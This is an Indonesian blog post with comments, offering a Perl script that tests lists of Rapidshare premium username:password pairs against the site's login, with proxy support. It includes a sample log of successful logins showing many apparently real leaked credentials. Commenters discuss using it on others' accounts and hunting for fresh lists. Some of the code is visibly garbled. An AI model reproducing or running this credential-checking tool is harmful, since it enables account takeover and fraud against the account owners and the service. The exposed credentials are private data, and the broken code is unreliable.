Bimatampan’s Weblog

Januari 4, 2009

[PERL] Rapidshare Premium User Checker

Filed under: blog, komputer, seluler — bimatampan @ 11:14 pm

Setelah merasa membutuhkan tool untuk mengecek kevalidan premium
user rapidshare, maka saya membuat skrip kecil dengan perl.

Fasilitas :
[+] Single user checker
[+] Multi User checker
[+] Support Proxy

rapidshare premix checker

untuk cek multi user, buat satu file, misalnya : “cekuserpremix.txt” ,

isi dengan format :


userrapid:passwordrapid

contoh :


7598271:www.freekonta.pl
Didadidadoum:www.freekonta.pl
1549391:www.freekonta.pl

Berikut ini code perl nya :


#!/usr/bin/perl
#
# rapidcheckuserv002.pl

use strict;
use LWP;
use HTTP::Cookies;
use Getopt::Std;
use Crypt::SSLeay;

my $bannerku=<new;
push @{ $browser->requests_redirectable }, 'POST';
$browser -> agent($Agent);
if ($opt_p) {
if ($opt_p=~m/(.+?)\:(.+?)\@((?:.+?)\:(?:.+))/) {
$opt_p = "http://$3";
$ENV{HTTPS_PROXY} = $opt_p;
$ENV{HTTPS_PROXY_USERNAME} = $1;
$ENV{HTTPS_PROXY_PASSWORD} = $2;
#$browser ->proxy(['http', 'https'], 'http://'.$opt_p.'/') if ($opt_p);
#$browser ->proxy(['https'], 'https://'.$opt_p.'/') if ($opt_p);
} elsif ($opt_p=~m/((?:.+?)\:(?:.+))/) {
$opt_p = "http://$1";
$ENV{HTTPS_PROXY} = $opt_p;
} else {
printlog ("\n[*] Silahken memasukkan Opsi Proxy seperti pada contoh !!!\n\n");
die("\n");
}
}
$browser ->timeout(45);
my @waktu = localtime(time);
my $log = 'rapidcuv002-'.$waktu[3].($waktu[4]+1).($waktu[5]+1900).'-'.$waktu[2].'-'.$waktu[1].'-'.$waktu[0].'.txt';
my $kokis = "lwpcookiesrapidcuv002.txt";
$browser->cookie_jar(HTTP::Cookies->new(file => $kokis, autosave => 1));

my $url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi";

printlog ("\n[*] Processing: $url .....\n\n");
#printlog ("\n[*] Processing: $user :: $passwod\n\n");

if ($opt_l) {
if ($opt_l=~m/(.+?)\:(.+)/) {
#$user = $1;
#$passwod = $2;
printlog ("\n[*] Processing: $1 :: $2\n\n");
&poss($url,$1,$2);
} else {die("\n[~] Format user:password salah !!!\n\n");}
}
elsif ($opt_f) {
open(UF, $opt_f) || die "\nI can't open the list\n";
@daptar=;
close(UF);
foreach $elemen(@daptar){
chomp($elemen);
if ($elemen=~/(.+):(.+)/) {
printlog ("\n[*] Processing: $1 :: $2\n\n");
&poss($url,$1,$2);
} #of if
sleep 1;
} #of foreach
}
else {
printlog ("\n[*] Silahken memasukkan Opsi seperti pada contoh !!!\n\n");
die("\n");
}

sub poss {
my $uurl = shift;
my $uuser = shift;
my $upasswod = shift;

my $lihat = HTTP::Request->new(POST => $uurl);
$lihat->content_type('application/x-www-form-urlencoded');
$lihat->referer('https://ssl.rapidshare.com/premiumzone.html');
my $loginsend = 'uselandingpage=1&'.
'login='.$uuser.'&'.
'password='.$upasswod;
$lihat->content-length($loginsend);
$lihat->content($loginsend);
my $lihatresponse = $browser->request($lihat);
if ($lihatresponse->is_success) {
#printlog($lihatresponse->as_string);
my $kutukupret=join("",$lihatresponse->as_string);
#my $cucok=$kutukupret=~m/Overview of the Account\: (.+?)\\\/sg;
if ($kutukupret=~m/Overview of the Account\: (.+?)\\\/sg) {
printlog("\n[+] Login Premium Account $1 Berhasil\n");
}
elsif ($kutukupret=~m/\

Your Premium Account has not been found\.\/sg) {
printlog("\n[+] Your Premium Account has not been found. \n\n");
die("[-] Error...\n\n");
}
elsif ($kutukupret=~m/\

The Account has been found\, but the password is incorrect\.\/sg) {
printlog("\n[+] The Account has been found, but the password is incorrect. \n\n");
die("[-] Error...\n\n");
}
else { printlog("\n[-] Login Gagal ! Mungkin diblokir atau Password salah.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Expiration date\:\ \(.+?)/sg) {
printlog("\n[+] Tanggal Expired : $1 \n");
}
else { printlog("\n[-] TGL Expired Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Traffic left\:\\ \\document\.write\(setzeTT\(\"\"\+Math\.ceil\((.+?)\)\)\)\;\ (.+?)\\/sg) {
printlog("\n[+] Traffic left : $1 $2 ");
}
else { printlog("\n[-] Traffic left 1 Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/credited to the download quota\.\'\)\" style\=\"cursor\:help\"\>(.+?)\\)\\/sg) {
printlog("($1) \n");
}
else { printlog("\n[-] Traffic left 2 Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ RapidPoints\:\\ \(.+?)\\/sg) {
printlog("\n[+] RapidPoints : $1 \n");
}
else { printlog("\n[-] RapidPoints Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Server time\:\\ \(.+?)\\/sg) {
printlog("\n[+] Server time : $1 \n");
}
else { printlog("\n[-] Server time Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Used storage\:\\ \\document\.write\(setzeTT\(\"(.+?)\"\)\)\(.+?)\\/sg) {
printlog("\n[+] Used storage : $1 $2\n");
}
else { printlog("\n[-] Used storage Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/help\"\>RapidPoints PU\\:\\ \(.+?)\\/sg) {
printlog("\n[+] RapidPoints PU : $1 \n");
}
else { printlog("\n[-] RapidPoints PU Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ TrafficShare left\:\\ \(.+?)\\/sg) {
printlog("\n[+] TrafficShare left : $1 \n");
}
else { printlog("\n[-] TrafficShare left Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Files\:\\ \(.+?)\\/sg) {
printlog("\n[+] Files : $1 \n");
}
else { printlog("\n[-] Files Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}

}
else {
print "[-] Error: ".$lihatresponse->status_line."\n\n" ; printlog ($lihatresponse->as_string);
die("[-] Error...\n\n");
}
printlog ("\n[*] *************\n\n");
} #end of sub

sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}

maap, kalo penulisan codenya jadi kacau,
silahken donglotz di geocities.

cek multi user rapid lebih maknyuz…..

ini file log nya :

[*] Processing: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi .....

[*] Processing: rapidhackhit :: philips

[+] Login Premium Account rapidhackhit Berhasil

[+] Tanggal Expired : Mon, 2. Feb 2009

[+] Traffic left : -3062217/1000 MB (+0 GB)

[+] RapidPoints : 2000

[+] Server time : 04.01.2009 16:54:57

[+] Used storage : 14 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 4

[*] *************

[*] Processing: 7337748 :: Ftd4g6te

[+] Login Premium Account 7337748 Berhasil

[+] Tanggal Expired : Thu, 21. May 2009

[+] Traffic left : -3033957/1000 MB (+0 GB)

[+] RapidPoints : 6000

[+] Server time : 04.01.2009 16:55:15

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 3578799 :: 5TKFme5hUB

[+] Login Premium Account 3578799 Berhasil

[+] Tanggal Expired : Mon, 5. Jan 2009

[+] Traffic left : -2328952/1000 MB (+0 GB)

[+] RapidPoints : 17000

[+] Server time : 04.01.2009 16:55:48

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: 800953 :: 473680

[+] Login Premium Account 800953 Berhasil

[+] Tanggal Expired : Fri, 20. Feb 2009

[+] Traffic left : -2207469/1000 MB (+0 GB)

[+] RapidPoints : 19000

[+] Server time : 04.01.2009 16:56:19

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: stipo :: eeepc

[+] Login Premium Account stipo Berhasil

[+] Tanggal Expired : Sun, 19. Apr 2009

[+] Traffic left : -3369326/1000 MB (+0 GB)

[+] RapidPoints : 7000

[+] Server time : 04.01.2009 16:56:51

[+] Used storage : 2 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 2

[*] *************

[*] Processing: 7609420 :: cB3Xsd3418Tuv3y9Y

[+] Login Premium Account 7609420 Berhasil

[+] Tanggal Expired : Fri, 13. Mar 2009

[+] Traffic left : -4302137/1000 MB (+0 GB)

[+] RapidPoints : 3000

[+] Server time : 04.01.2009 16:57:23

[+] Used storage : 41 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 3

[*] *************

[*] Processing: 555816 :: 305509

[+] Login Premium Account 555816 Berhasil

[+] Tanggal Expired : Wed, 14. Jan 2009

[+] Traffic left : -3355262/1000 MB (+0 GB)

[+] RapidPoints : 7000

[+] Server time : 04.01.2009 16:58:00

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: 7337748 :: Ftd4g6te

[+] Login Premium Account 7337748 Berhasil

[+] Tanggal Expired : Thu, 21. May 2009

[+] Traffic left : -3033957/1000 MB (+0 GB)

[+] RapidPoints : 6000

[+] Server time : 04.01.2009 16:58:38

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 7490064 :: zwd9ab

[+] Login Premium Account 7490064 Berhasil

[+] Tanggal Expired : Sat, 3. Jan 2009

[+] Traffic left : 12000000/1000 MB (+0 GB)

[+] RapidPoints : 0

[+] Server time : 04.01.2009 16:59:11

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 5792166 :: http://www.rapidhack.pl

[+] Login Premium Account 5792166 Berhasil

[+] Tanggal Expired : Mon, 9. Feb 2009

[+] Traffic left : 799287/1000 MB (+16 GB)

[+] RapidPoints : 12100

[+] Server time : 04.01.2009 16:59:48

[+] Used storage : 312 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 21.00 GB

[+] Files : 2

[*] *************

TO DO :
[+] Ngatasin versi bahasa german nya…..๐Ÿ˜€
[+] Pengennya langsung check masih ada quota kagak….

Ada komentar || saran ?

27 Komentar »

  1. I tested it. There are many errors in your code. Can you upload your rapidcheckuserv002.pl file for me.

    Komentar oleh tester — Januari 5, 2009 @ 3:15 am

  2. bos cara ne ngo perl kie piye mbok ngo step2 e ora langsungan ngono lho kan aku dadi poseng

    Komentar oleh kero — Januari 5, 2009 @ 4:09 am

  3. @tester :
    sorry for the inconvenience, code link was added, plz check post above,
    BTW, thx for the visits time.

    @kero :
    coba googling dulu bro tentang :
    “install perl”

    tengkiyu telah mampir kesini…๐Ÿ˜€

    Komentar oleh bimatampan — Januari 5, 2009 @ 5:00 am

  4. Thanks. It’s now working for me. But can you code it in PHP language? I found this script on Internet: http://reiluke.i.ph/blogs/reiluke/2008/11/09/phpajax-rapidshare-multiple-account-checker-by-reiluke/ but this code does not give full information of an account. Can you fix it?

    Komentar oleh tester — Januari 5, 2009 @ 9:34 am

  5. try this one :

    http://forum.cyberphreaking.com/showpost.php?p=114500&postcount=15
    http://rapid.sedot.cc/code/cekrs

    coded by my friend “n3wbi3s”, credits to him.

    Komentar oleh bimatampan — Januari 5, 2009 @ 11:01 am

  6. Thanks. But I want to a version that can upload to a host. Can you fix it like pinoyhacker.freehostia.com/phpcheckbyreiluke.rar

    Komentar oleh tester — Januari 5, 2009 @ 11:51 am

  7. bentar liat scriptnya dulu ya om tester๐Ÿ˜€

    Komentar oleh n3wbi3s — Januari 5, 2009 @ 12:09 pm

  8. @tester :

    sorry, i have no ability to convert them to php,

    plz check this thread progress :

    http://forum.cyberphreaking.com/showthread.php?t=6786

    my friendz could be develop the php version next time.

    Komentar oleh bimatampan — Januari 5, 2009 @ 12:19 pm

  9. @n3wbi3s :

    iya betul bro….

    kalo dah jadi php yg versi web, bisa maknyuz tuh….๐Ÿ˜€

    Komentar oleh bimatampan — Januari 5, 2009 @ 12:24 pm

  10. hore dah jadi neh dah aku editin sama kaya yang di PHP-CLI versionnya๐Ÿ˜€
    me cuman moded ajah :
    ni filenya :
    http://rapid.sedot.cc/rsceker.zip

    kalo masih ada error lapor yah๐Ÿ™‚

    credited: reiluke me just modded๐Ÿ™‚

    skrinsut :

    Komentar oleh n3wbi3s — Januari 5, 2009 @ 1:23 pm

  11. oia buat ngeceknya http://rapid.sedot.cc/code/index.php
    pass : n3wbi3s

    thanks om b1ma๐Ÿ˜€

    Komentar oleh n3wbi3s — Januari 5, 2009 @ 2:32 pm

  12. Thanks. But I can download this code. Please reupload it.

    Komentar oleh tester — Januari 5, 2009 @ 5:49 pm

  13. Hi, tester
    this is the source code : http://rapid.sedot.cc/code/rsceker.zip

    sorry my 1st link is false link… sorry for this inconvenience.

    ^_^

    Komentar oleh n3wbi3s — Januari 5, 2009 @ 5:52 pm

  14. sip dah bro n3wbi3s ….๐Ÿ˜€

    sedang dipelajari…..

    Komentar oleh bimatampan — Januari 5, 2009 @ 9:44 pm

  15. Thank you very much! All of you are pro!

    Komentar oleh tester — Januari 5, 2009 @ 10:33 pm

  16. Please help me. I can’t use these code to check Rapidshare accounts. What is problem?

    Komentar oleh tester — Januari 6, 2009 @ 11:02 am

  17. Sorry, I fixed it.

    Komentar oleh tester — Januari 6, 2009 @ 11:09 am

  18. good job bro๐Ÿ˜€

    Komentar oleh n3wbi3s — Januari 6, 2009 @ 11:58 am

  19. step by step nya donk bro,saya sangat niubis,this is very nice if i know this,,!thank’s ya..

    Komentar oleh alogo — Januari 7, 2009 @ 5:01 pm

  20. pertama2 , install perl atau php dulu bro….๐Ÿ˜€

    selanjutnya akan lebih mudah kalo ada perl atau php…..๐Ÿ™‚

    Komentar oleh bimatampan — Januari 7, 2009 @ 5:16 pm

  21. passwordnya udah diganti smua..
    Error : Account Found But Password Incorrect…

    Komentar oleh pisca — Januari 22, 2009 @ 1:14 am

  22. @pisca :

    ya cari lagi yg lain bro…..๐Ÿ˜€

    Komentar oleh bimatampan — Januari 22, 2009 @ 5:42 am

  23. wkaakka.. kata kuncinya apaan seh yg pas..?
    pernah sempet dapet accountnya, eh pas dicek ternyata limit perhari udah kepake smua..

    Komentar oleh pisca — Januari 22, 2009 @ 7:05 am

  24. bro..
    numpang nanya nie..
    gwkan anak kaskus, pas gw profile gw, kluar ginian..
    itu maksudnya apaan ya bro..
    gw ga ngarti..

    This usercp already updated for get reputation(s) giver’s link …

    See bimatampan.wordpress.com for further information…

    tq ya bro..
    maklum gw baru di kaskus..
    hehehe

    Komentar oleh dhece — September 17, 2010 @ 11:24 pm

  25. @dhece :

    itu bagian add-on firefox untuk melihat reputasi di usercp broo….

    Komentar oleh bimatampan — Oktober 5, 2010 @ 5:52 am

  26. mohon cendolnya gan .. hehe

    Komentar oleh dim4l — Desember 8, 2010 @ 10:13 pm

  27. @dim4l :

    msh blm iso nih gan… :ngakak

    Komentar oleh bimatampan — Desember 28, 2010 @ 9:29 am


RSS feed for comments on this post. TrackBack URI

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

Blog di WordPress.com.